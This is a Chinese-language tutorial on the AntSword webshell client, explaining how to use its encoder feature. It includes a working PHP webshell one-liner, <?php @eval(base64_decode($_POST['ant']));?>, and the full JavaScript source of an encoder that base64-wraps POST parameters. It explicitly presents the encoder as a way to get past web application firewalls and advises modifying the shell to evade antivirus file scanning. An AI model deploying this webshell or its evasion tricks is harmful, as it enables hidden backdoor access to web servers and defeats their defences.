0x00 中国蚁剑
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
关于蚁剑的介绍大家可以看Freebuf上的文章《向中国菜刀致敬!中国蚁剑:一款跨平台的开源网站管理工具》
蚁剑在Github上的项目地址为:https://github.com/AntSwordProject/antSword
在2.0.0版本的时候,新增了一个有趣的功能,编码器
这个编码器的功能就是将客户端发送的数据进行编码或者加密处理,可以实现一个waf绕过的效果,比中转webshell更方便(《中转Webshell绕过流量检测防护》)
下面一起来体验一下
0x01 初体验
安装好新版本的蚁剑后,点击AntSword
->编码设置
,打开编码管理
然后新建一个PHP编码,名字随便起一个
然后选中刚刚创建的,点击编辑
可以根据这里的说明自己编写,也可以直接使用现成的,AntSword自定义编码器分享项目地址
就以php的base64编码为例
将代码复制
/**
* php::b64pass编码器
* Create at: 2018/10/11 21:40:45
*
* 把所有 POST 参数都进行了 base64 编码
*
* 适用shell:
*
* <?php @eval(base64_decode($_POST['ant']));?>
*
*/
'use strict';
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}
然后粘贴覆盖到编码器编辑
保存
这时候webshell就用编码器代码里写的
<?php @eval(base64_decode($_POST['ant']));?>
可以对代码进行适当的变形,绕过文件查杀,主要保留对传入参数的base64_decode
就可以了
然后在连接设置时选择对应的编码器即可